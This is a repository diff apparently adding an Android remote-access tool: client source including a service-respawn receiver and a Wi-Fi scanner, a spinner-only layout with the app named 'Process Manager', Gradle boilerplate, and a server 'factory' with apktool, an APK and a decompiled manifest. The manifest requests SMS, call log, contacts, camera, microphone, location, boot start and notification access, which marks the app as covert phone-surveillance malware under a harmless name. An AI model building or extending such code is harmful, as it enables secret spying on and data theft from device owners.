client/app/src/main/java/com/remote/app/ServiceReciever.java
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.content.BroadcastReceiver;
|
||||||
|
import android.content.Context;
|
||||||
|
import android.content.Intent;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
public class ServiceReciever extends BroadcastReceiver {
|
||||||
|
@Override
|
||||||
|
public void onReceive(Context context, Intent intent) {
|
||||||
|
context.startService(new Intent(context.getApplicationContext(), MainService.class));
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
43
client/app/src/main/java/com/remote/app/WifiScanner.java
Normal file
43
client/app/src/main/java/com/remote/app/WifiScanner.java
Normal file
@ -0,0 +1,43 @@
|
|||||||
|
package com.remote.app;
|
||||||
|
|
||||||
|
import android.content.Context;
|
||||||
|
import android.net.wifi.WifiManager;
|
||||||
|
|
||||||
|
import android.net.wifi.ScanResult;
|
||||||
|
import android.util.Log;
|
||||||
|
|
||||||
|
import org.json.JSONArray;
|
||||||
|
import org.json.JSONObject;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class WifiScanner {
|
||||||
|
|
||||||
|
public static JSONObject scan(Context context) {
|
||||||
|
try {
|
||||||
|
JSONObject dRet = new JSONObject();
|
||||||
|
JSONArray jSONArray = new JSONArray();
|
||||||
|
WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
|
||||||
|
if (wifiManager != null && wifiManager.isWifiEnabled()) {
|
||||||
|
List scanResults = wifiManager.getScanResults();
|
||||||
|
if (scanResults != null && scanResults.size() > 0) {
|
||||||
|
int i = 0;
|
||||||
|
while (i < scanResults.size() && i < 10) {
|
||||||
|
ScanResult scanResult = (ScanResult) scanResults.get(i);
|
||||||
|
JSONObject jSONObject = new JSONObject();
|
||||||
|
jSONObject.put("BSSID", scanResult.BSSID);
|
||||||
|
jSONObject.put("SSID", scanResult.SSID);
|
||||||
|
jSONArray.put(jSONObject);
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
dRet.put("networks", jSONArray);
|
||||||
|
return dRet;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return dRet;
|
||||||
|
} catch (Throwable th) {
|
||||||
|
Log.e("MtaSDK", "isWifiNet error", th);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
29
client/app/src/main/res/layout/activity_main.xml
Normal file
29
client/app/src/main/res/layout/activity_main.xml
Normal file
@ -0,0 +1,29 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
xmlns:tools="http://schemas.android.com/tools"
|
||||||
|
android:id="@+id/activity_main"
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:paddingBottom="@dimen/activity_vertical_margin"
|
||||||
|
android:paddingLeft="@dimen/activity_horizontal_margin"
|
||||||
|
android:paddingRight="@dimen/activity_horizontal_margin"
|
||||||
|
android:paddingTop="@dimen/activity_vertical_margin"
|
||||||
|
tools:context="com.remote.app.MainActivity">
|
||||||
|
|
||||||
|
<LinearLayout
|
||||||
|
android:layout_width="match_parent"
|
||||||
|
android:layout_height="match_parent"
|
||||||
|
android:gravity="center"
|
||||||
|
android:orientation="vertical">
|
||||||
|
|
||||||
|
<ProgressBar
|
||||||
|
android:id="@+id/progressBar"
|
||||||
|
style="?android:attr/progressBarStyle"
|
||||||
|
android:layout_width="395dp"
|
||||||
|
android:layout_height="88dp"
|
||||||
|
android:layout_marginStart="0dp"
|
||||||
|
android:indeterminate="true" />
|
||||||
|
|
||||||
|
</LinearLayout>
|
||||||
|
|
||||||
|
</RelativeLayout>
|
BIN
client/app/src/main/res/mipmap-hdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-hdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 3.3 KiB |
BIN
client/app/src/main/res/mipmap-mdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-mdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 2.2 KiB |
BIN
client/app/src/main/res/mipmap-xhdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-xhdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 4.7 KiB |
BIN
client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 7.5 KiB |
BIN
client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
Normal file
BIN
client/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 10 KiB |
6
client/app/src/main/res/values-w820dp/dimens.xml
Normal file
6
client/app/src/main/res/values-w820dp/dimens.xml
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
<resources>
|
||||||
|
<!-- Example customization of dimensions originally defined in res/values/dimens.xml
|
||||||
|
(such as screen margins) for screens with more than 820dp of available width. This
|
||||||
|
would include 7" and 10" devices in landscape (~960dp and ~1280dp respectively). -->
|
||||||
|
<dimen name="activity_horizontal_margin">64dp</dimen>
|
||||||
|
</resources>
|
6
client/app/src/main/res/values/colors.xml
Normal file
6
client/app/src/main/res/values/colors.xml
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<resources>
|
||||||
|
<color name="colorPrimary">#3F51B5</color>
|
||||||
|
<color name="colorPrimaryDark">#303F9F</color>
|
||||||
|
<color name="colorAccent">#FF4081</color>
|
||||||
|
</resources>
|
5
client/app/src/main/res/values/dimens.xml
Normal file
5
client/app/src/main/res/values/dimens.xml
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
<resources>
|
||||||
|
<!-- Default screen margins, per the Android Design guidelines. -->
|
||||||
|
<dimen name="activity_horizontal_margin">16dp</dimen>
|
||||||
|
<dimen name="activity_vertical_margin">16dp</dimen>
|
||||||
|
</resources>
|
3
client/app/src/main/res/values/strings.xml
Normal file
3
client/app/src/main/res/values/strings.xml
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
<resources>
|
||||||
|
<string name="app_name">Process Manager</string>
|
||||||
|
</resources>
|
8
client/app/src/main/res/values/styles.xml
Normal file
8
client/app/src/main/res/values/styles.xml
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
<resources>
|
||||||
|
|
||||||
|
<!-- Base application theme. -->
|
||||||
|
<style name="AppTheme" parent="android:Theme.Holo.Light.DarkActionBar">
|
||||||
|
<!-- Customize your theme here. -->
|
||||||
|
</style>
|
||||||
|
|
||||||
|
</resources>
|
32
client/build.gradle
Normal file
32
client/build.gradle
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
// Top-level build file where you can add configuration options common to all sub-projects/modules.
|
||||||
|
|
||||||
|
buildscript {
|
||||||
|
repositories {
|
||||||
|
jcenter()
|
||||||
|
maven {
|
||||||
|
url 'https://maven.google.com/'
|
||||||
|
name 'Google'
|
||||||
|
}
|
||||||
|
google()
|
||||||
|
}
|
||||||
|
dependencies {
|
||||||
|
classpath 'com.android.tools.build:gradle:3.4.2'
|
||||||
|
|
||||||
|
// NOTE: Do not place your application dependencies here; they belong
|
||||||
|
// in the individual module build.gradle files
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
allprojects {
|
||||||
|
repositories {
|
||||||
|
jcenter()
|
||||||
|
maven {
|
||||||
|
url 'https://maven.google.com/'
|
||||||
|
name 'Google'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
task clean(type: Delete) {
|
||||||
|
delete rootProject.buildDir
|
||||||
|
}
|
19
client/client.iml
Normal file
19
client/client.iml
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<module external.linked.project.id="client" external.linked.project.path="$MODULE_DIR$" external.root.project.path="$MODULE_DIR$" external.system.id="GRADLE" type="JAVA_MODULE" version="4">
|
||||||
|
<component name="FacetManager">
|
||||||
|
<facet type="java-gradle" name="Java-Gradle">
|
||||||
|
<configuration>
|
||||||
|
<option name="BUILD_FOLDER_PATH" value="$MODULE_DIR$/build" />
|
||||||
|
<option name="BUILDABLE" value="false" />
|
||||||
|
</configuration>
|
||||||
|
</facet>
|
||||||
|
</component>
|
||||||
|
<component name="NewModuleRootManager" LANGUAGE_LEVEL="JDK_1_7" inherit-compiler-output="true">
|
||||||
|
<exclude-output />
|
||||||
|
<content url="file://$MODULE_DIR$">
|
||||||
|
<excludeFolder url="file://$MODULE_DIR$/.gradle" />
|
||||||
|
</content>
|
||||||
|
<orderEntry type="inheritedJdk" />
|
||||||
|
<orderEntry type="sourceFolder" forTests="false" />
|
||||||
|
</component>
|
||||||
|
</module>
|
17
client/gradle.properties
Normal file
17
client/gradle.properties
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
# Project-wide Gradle settings.
|
||||||
|
|
||||||
|
# IDE (e.g. Android Studio) users:
|
||||||
|
# Gradle settings configured through the IDE *will override*
|
||||||
|
# any settings specified in this file.
|
||||||
|
|
||||||
|
# For more details on how to configure your build environment visit
|
||||||
|
# http://www.gradle.org/docs/current/userguide/build_environment.html
|
||||||
|
|
||||||
|
# Specifies the JVM arguments used for the daemon process.
|
||||||
|
# The setting is particularly useful for tweaking memory settings.
|
||||||
|
org.gradle.jvmargs=-Xmx1536m
|
||||||
|
|
||||||
|
# When configured, Gradle will run in incubating parallel mode.
|
||||||
|
# This option should only be used with decoupled projects. More details, visit
|
||||||
|
# http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects
|
||||||
|
# org.gradle.parallel=true
|
BIN
client/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
BIN
client/gradle/wrapper/gradle-wrapper.jar
vendored
Normal file
Binary file not shown.
6
client/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
6
client/gradle/wrapper/gradle-wrapper.properties
vendored
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
#Sat Aug 17 21:49:49 BST 2019
|
||||||
|
distributionBase=GRADLE_USER_HOME
|
||||||
|
distributionPath=wrapper/dists
|
||||||
|
zipStoreBase=GRADLE_USER_HOME
|
||||||
|
zipStorePath=wrapper/dists
|
||||||
|
distributionUrl=https\://services.gradle.org/distributions/gradle-5.1.1-all.zip
|
160
client/gradlew
vendored
Normal file
160
client/gradlew
vendored
Normal file
@ -0,0 +1,160 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
|
##############################################################################
|
||||||
|
##
|
||||||
|
## Gradle start up script for UN*X
|
||||||
|
##
|
||||||
|
##############################################################################
|
||||||
|
|
||||||
|
# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
DEFAULT_JVM_OPTS=""
|
||||||
|
|
||||||
|
APP_NAME="Gradle"
|
||||||
|
APP_BASE_NAME=`basename "$0"`
|
||||||
|
|
||||||
|
# Use the maximum available, or set MAX_FD != -1 to use that value.
|
||||||
|
MAX_FD="maximum"
|
||||||
|
|
||||||
|
warn ( ) {
|
||||||
|
echo "$*"
|
||||||
|
}
|
||||||
|
|
||||||
|
die ( ) {
|
||||||
|
echo
|
||||||
|
echo "$*"
|
||||||
|
echo
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
# OS specific support (must be 'true' or 'false').
|
||||||
|
cygwin=false
|
||||||
|
msys=false
|
||||||
|
darwin=false
|
||||||
|
case "`uname`" in
|
||||||
|
CYGWIN* )
|
||||||
|
cygwin=true
|
||||||
|
;;
|
||||||
|
Darwin* )
|
||||||
|
darwin=true
|
||||||
|
;;
|
||||||
|
MINGW* )
|
||||||
|
msys=true
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
# Attempt to set APP_HOME
|
||||||
|
# Resolve links: $0 may be a link
|
||||||
|
PRG="$0"
|
||||||
|
# Need this for relative symlinks.
|
||||||
|
while [ -h "$PRG" ] ; do
|
||||||
|
ls=`ls -ld "$PRG"`
|
||||||
|
link=`expr "$ls" : '.*-> \(.*\)$'`
|
||||||
|
if expr "$link" : '/.*' > /dev/null; then
|
||||||
|
PRG="$link"
|
||||||
|
else
|
||||||
|
PRG=`dirname "$PRG"`"/$link"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
SAVED="`pwd`"
|
||||||
|
cd "`dirname \"$PRG\"`/" >/dev/null
|
||||||
|
APP_HOME="`pwd -P`"
|
||||||
|
cd "$SAVED" >/dev/null
|
||||||
|
|
||||||
|
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
|
||||||
|
|
||||||
|
# Determine the Java command to use to start the JVM.
|
||||||
|
if [ -n "$JAVA_HOME" ] ; then
|
||||||
|
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
|
||||||
|
# IBM's JDK on AIX uses strange locations for the executables
|
||||||
|
JAVACMD="$JAVA_HOME/jre/sh/java"
|
||||||
|
else
|
||||||
|
JAVACMD="$JAVA_HOME/bin/java"
|
||||||
|
fi
|
||||||
|
if [ ! -x "$JAVACMD" ] ; then
|
||||||
|
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
JAVACMD="java"
|
||||||
|
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
|
||||||
|
Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
location of your Java installation."
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Increase the maximum file descriptors if we can.
|
||||||
|
if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
|
||||||
|
MAX_FD_LIMIT=`ulimit -H -n`
|
||||||
|
if [ $? -eq 0 ] ; then
|
||||||
|
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
|
||||||
|
MAX_FD="$MAX_FD_LIMIT"
|
||||||
|
fi
|
||||||
|
ulimit -n $MAX_FD
|
||||||
|
if [ $? -ne 0 ] ; then
|
||||||
|
warn "Could not set maximum file descriptor limit: $MAX_FD"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# For Darwin, add options to specify how the application appears in the dock
|
||||||
|
if $darwin; then
|
||||||
|
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
|
||||||
|
fi
|
||||||
|
|
||||||
|
# For Cygwin, switch paths to Windows format before running java
|
||||||
|
if $cygwin ; then
|
||||||
|
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
|
||||||
|
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
|
||||||
|
JAVACMD=`cygpath --unix "$JAVACMD"`
|
||||||
|
|
||||||
|
# We build the pattern for arguments to be converted via cygpath
|
||||||
|
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
|
||||||
|
SEP=""
|
||||||
|
for dir in $ROOTDIRSRAW ; do
|
||||||
|
ROOTDIRS="$ROOTDIRS$SEP$dir"
|
||||||
|
SEP="|"
|
||||||
|
done
|
||||||
|
OURCYGPATTERN="(^($ROOTDIRS))"
|
||||||
|
# Add a user-defined pattern to the cygpath arguments
|
||||||
|
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
|
||||||
|
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
|
||||||
|
fi
|
||||||
|
# Now convert the arguments - kludge to limit ourselves to /bin/sh
|
||||||
|
i=0
|
||||||
|
for arg in "$@" ; do
|
||||||
|
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
|
||||||
|
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
|
||||||
|
|
||||||
|
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
|
||||||
|
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
|
||||||
|
else
|
||||||
|
eval `echo args$i`="\"$arg\""
|
||||||
|
fi
|
||||||
|
i=$((i+1))
|
||||||
|
done
|
||||||
|
case $i in
|
||||||
|
(0) set -- ;;
|
||||||
|
(1) set -- "$args0" ;;
|
||||||
|
(2) set -- "$args0" "$args1" ;;
|
||||||
|
(3) set -- "$args0" "$args1" "$args2" ;;
|
||||||
|
(4) set -- "$args0" "$args1" "$args2" "$args3" ;;
|
||||||
|
(5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
|
||||||
|
(6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
|
||||||
|
(7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
|
||||||
|
(8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
|
||||||
|
(9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
|
||||||
|
esac
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
|
||||||
|
function splitJvmOpts() {
|
||||||
|
JVM_OPTS=("$@")
|
||||||
|
}
|
||||||
|
eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
|
||||||
|
JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
|
||||||
|
|
||||||
|
exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
|
90
client/gradlew.bat
vendored
Normal file
90
client/gradlew.bat
vendored
Normal file
@ -0,0 +1,90 @@
|
|||||||
|
@if "%DEBUG%" == "" @echo off
|
||||||
|
@rem ##########################################################################
|
||||||
|
@rem
|
||||||
|
@rem Gradle startup script for Windows
|
||||||
|
@rem
|
||||||
|
@rem ##########################################################################
|
||||||
|
|
||||||
|
@rem Set local scope for the variables with windows NT shell
|
||||||
|
if "%OS%"=="Windows_NT" setlocal
|
||||||
|
|
||||||
|
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||||
|
set DEFAULT_JVM_OPTS=
|
||||||
|
|
||||||
|
set DIRNAME=%~dp0
|
||||||
|
if "%DIRNAME%" == "" set DIRNAME=.
|
||||||
|
set APP_BASE_NAME=%~n0
|
||||||
|
set APP_HOME=%DIRNAME%
|
||||||
|
|
||||||
|
@rem Find java.exe
|
||||||
|
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||||
|
|
||||||
|
set JAVA_EXE=java.exe
|
||||||
|
%JAVA_EXE% -version >NUL 2>&1
|
||||||
|
if "%ERRORLEVEL%" == "0" goto init
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||||
|
echo.
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
echo location of your Java installation.
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:findJavaFromJavaHome
|
||||||
|
set JAVA_HOME=%JAVA_HOME:"=%
|
||||||
|
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||||
|
|
||||||
|
if exist "%JAVA_EXE%" goto init
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
|
||||||
|
echo.
|
||||||
|
echo Please set the JAVA_HOME variable in your environment to match the
|
||||||
|
echo location of your Java installation.
|
||||||
|
|
||||||
|
goto fail
|
||||||
|
|
||||||
|
:init
|
||||||
|
@rem Get command-line arguments, handling Windowz variants
|
||||||
|
|
||||||
|
if not "%OS%" == "Windows_NT" goto win9xME_args
|
||||||
|
if "%@eval[2+2]" == "4" goto 4NT_args
|
||||||
|
|
||||||
|
:win9xME_args
|
||||||
|
@rem Slurp the command line arguments.
|
||||||
|
set CMD_LINE_ARGS=
|
||||||
|
set _SKIP=2
|
||||||
|
|
||||||
|
:win9xME_args_slurp
|
||||||
|
if "x%~1" == "x" goto execute
|
||||||
|
|
||||||
|
set CMD_LINE_ARGS=%*
|
||||||
|
goto execute
|
||||||
|
|
||||||
|
:4NT_args
|
||||||
|
@rem Get arguments from the 4NT Shell from JP Software
|
||||||
|
set CMD_LINE_ARGS=%$
|
||||||
|
|
||||||
|
:execute
|
||||||
|
@rem Setup the command line
|
||||||
|
|
||||||
|
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||||
|
|
||||||
|
@rem Execute Gradle
|
||||||
|
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
|
||||||
|
|
||||||
|
:end
|
||||||
|
@rem End local scope for the variables with windows NT shell
|
||||||
|
if "%ERRORLEVEL%"=="0" goto mainEnd
|
||||||
|
|
||||||
|
:fail
|
||||||
|
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||||
|
rem the _cmd.exe /c_ return code!
|
||||||
|
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
|
||||||
|
exit /b 1
|
||||||
|
|
||||||
|
:mainEnd
|
||||||
|
if "%OS%"=="Windows_NT" endlocal
|
||||||
|
|
||||||
|
:omega
|
8
client/local.properties
Normal file
8
client/local.properties
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
## This file must *NOT* be checked into Version Control Systems,
|
||||||
|
# as it contains information specific to your local configuration.
|
||||||
|
#
|
||||||
|
# Location of the SDK. This is only used by Gradle.
|
||||||
|
# For customization when using a Version Control System, please read the
|
||||||
|
# header note.
|
||||||
|
#Wed Jan 08 16:38:16 IST 2020
|
||||||
|
sdk.dir=C\:\\Users\\Chris\\AppData\\Local\\Android\\Sdk
|
1
client/settings.gradle
Normal file
1
client/settings.gradle
Normal file
@ -0,0 +1 @@
|
|||||||
|
include ':app'
|
BIN
server/app/factory/apktool.jar
Normal file
BIN
server/app/factory/apktool.jar
Normal file
Binary file not shown.
BIN
server/app/factory/app-release.apk
Normal file
BIN
server/app/factory/app-release.apk
Normal file
Binary file not shown.
47
server/app/factory/decompiled/AndroidManifest.xml
Normal file
47
server/app/factory/decompiled/AndroidManifest.xml
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.remote.app">
|
||||||
|
<uses-permission android:name="android.permission.WAKE_LOCK"/>
|
||||||
|
<uses-permission android:name="android.permission.CAMERA"/>
|
||||||
|
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
|
||||||
|
<uses-permission android:name="android.permission.INTERNET"/>
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
|
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
|
||||||
|
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
|
||||||
|
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
|
||||||
|
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
|
||||||
|
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
|
||||||
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
|
<application android:allowBackup="true" android:hardwareAccelerated="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:supportsRtl="true" android:theme="@style/AppTheme">
|
||||||
|
<activity android:launchMode="singleInstance" android:name="com.remote.app.MainActivity">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.MAIN"/>
|
||||||
|
<category android:name="android.intent.category.LAUNCHER"/>
|
||||||
|
</intent-filter>
|
||||||
|
</activity>
|
||||||
|
<service android:enabled="true" android:exported="false" android:name="com.remote.app.MainService"/>
|
||||||
|
<receiver android:enabled="true" android:exported="true" android:label="RestartServiceWhenStopped" android:name="com.remote.app.ServiceReciever">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="respawnService"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<receiver android:enabled="true" android:exported="true" android:name="com.remote.app.MyReceiver">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.intent.action.BOOT_COMPLETED"/>
|
||||||
|
</intent-filter>
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.provider.Telephony.SECRET_CODE"/>
|
||||||
|
<data android:scheme="android_secret_code"/>
|
||||||
|
</intent-filter>
|
||||||
|
</receiver>
|
||||||
|
<service android:label="@string/app_name" android:name="com.remote.app.NotificationListener" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
|
||||||
|
<intent-filter>
|
||||||
|
<action android:name="android.service.notification.NotificationListenerService"/>
|
||||||
|
</intent-filter>
|
||||||
|
</service>
|
||||||
|
</application>
|
||||||
|
</manifest>
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user